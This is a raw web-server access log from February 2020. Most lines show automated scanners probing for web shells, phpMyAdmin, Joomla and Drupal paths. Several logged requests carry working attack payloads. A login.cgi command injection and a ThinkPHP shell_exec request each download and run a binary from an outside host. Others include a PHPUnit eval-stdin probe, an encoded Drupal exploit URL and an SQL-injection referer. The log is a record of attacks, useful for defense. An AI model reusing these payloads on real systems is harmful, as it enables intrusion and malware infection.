106.52.68.193 - - [24/Feb/2020:22:22:44 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:44 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:45 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:46 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:46 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:47 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:47 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:47 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:47 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:48 +0100] "GET /images/attari.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:48 +0100] "GET /images/jsspwneed.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:48 +0100] "GET /images/stories/cmd.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:48 +0100] "GET /images/stories/filemga.php?ssp=RfVbHu HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:48 +0100] "GET /up.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:49 +0100] "GET /laravel.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:50 +0100] "GET /huoshan.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:50 +0100] "GET /yu.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:50 +0100] "GET /floaw.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:51 +0100] "GET /ftmabc.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:51 +0100] "GET /doudou.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:51 +0100] "GET /mjx.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:51 +0100] "GET /xiaoxia.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:51 +0100] "GET /yuyang.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:52 +0100] "GET /zz.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:52 +0100] "GET /coonig.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:52 +0100] "GET /ak.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:53 +0100] "GET /baidoubi.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:54 +0100] "GET /hhhhhh.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:54 +0100] "GET /meijianxue.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:55 +0100] "GET /no1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:55 +0100] "GET /python.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:55 +0100] "GET /woshimengmei.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:55 +0100] "GET /indea.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:56 +0100] "GET /taisui.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:56 +0100] "GET /xiaxia.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:56 +0100] "GET /kk.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:56 +0100] "GET /xsser.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:57 +0100] "GET /zzz.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:57 +0100] "GET /99.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:57 +0100] "GET /dp.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:57 +0100] "GET /hs.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:58 +0100] "GET /1ts.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:58 +0100] "GET /haiyan.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:58 +0100] "GET /phpdm.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:59 +0100] "GET /root.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:59 +0100] "GET /5678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:59 +0100] "GET /root11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:22:59 +0100] "GET /xiu.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:23:00 +0100] "POST /wuwu11.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
211.218.0.195 - - [24/Feb/2020:22:23:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [24/Feb/2020:22:23:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.218.0.195 - - [24/Feb/2020:22:23:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
106.52.68.193 - - [24/Feb/2020:22:23:22 +0100] "POST /xw.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
211.218.0.195 - - [24/Feb/2020:22:23:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [24/Feb/2020:22:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:23:46 +0100] "POST /xw1.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
211.218.0.195 - - [24/Feb/2020:22:23:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
197.51.133.234 - - [24/Feb/2020:22:24:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.52.68.193 - - [24/Feb/2020:22:24:10 +0100] "POST /9678.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
212.91.246.72 - - [24/Feb/2020:22:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:24:34 +0100] "POST /wc.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
106.52.68.193 - - [24/Feb/2020:22:24:58 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
106.52.68.193 - - [24/Feb/2020:22:25:22 +0100] "POST /xx.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
212.91.246.72 - - [24/Feb/2020:22:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.133.207.227 - - [24/Feb/2020:22:25:40 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
106.52.68.193 - - [24/Feb/2020:22:25:46 +0100] "POST /s.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
106.52.68.193 - - [24/Feb/2020:22:26:10 +0100] "POST /w.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
212.91.246.72 - - [24/Feb/2020:22:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:26:34 +0100] "POST /sheep.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
106.52.68.193 - - [24/Feb/2020:22:26:58 +0100] "GET /%73%65%65%79%6F%6E/%68%74%6D%6C%6F%66%66%69%63%65%73%65%72%76%6C%65%74 HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
106.52.68.193 - - [24/Feb/2020:22:26:59 +0100] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 346 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
106.52.68.193 - - [24/Feb/2020:22:26:59 +0100] "GET /weaver/bsh.servlet.BshServlet HTTP/1.1" 404 334 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
106.52.68.193 - - [24/Feb/2020:22:26:59 +0100] "GET /solr/ HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
106.52.68.193 - - [24/Feb/2020:22:26:59 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
106.52.68.193 - - [24/Feb/2020:22:27:22 +0100] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6a%61%78 HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
212.91.246.72 - - [24/Feb/2020:22:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:27:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
106.52.68.193 - - [24/Feb/2020:22:28:10 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [24/Feb/2020:22:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:28:35 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
5.101.0.209 - - [24/Feb/2020:22:28:43 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:28:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
106.52.68.193 - - [24/Feb/2020:22:29:22 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [24/Feb/2020:22:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:29:46 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
106.52.68.193 - - [24/Feb/2020:22:30:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
212.91.246.72 - - [24/Feb/2020:22:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.52.68.193 - - [24/Feb/2020:22:30:34 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
5.101.0.209 - - [24/Feb/2020:22:30:37 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
106.52.68.193 - - [24/Feb/2020:22:30:58 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
125.64.94.220 - - [24/Feb/2020:22:31:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
125.64.94.220 - - [24/Feb/2020:22:31:08 +0100] "\x16\x03\x01" 501 318 "-" "-"
106.52.68.193 - - [24/Feb/2020:22:31:22 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
106.52.68.193 - - [24/Feb/2020:22:31:23 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:23 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:23 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:23 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:24 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:24 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:24 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:24 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:25 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:25 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:26 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:26 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:27 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:27 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:27 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:27 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:28 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:28 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:28 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:28 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:29 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:30 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:30 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:30 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:31 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:31 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:31 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:31 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:32 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
106.52.68.193 - - [24/Feb/2020:22:31:32 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)"
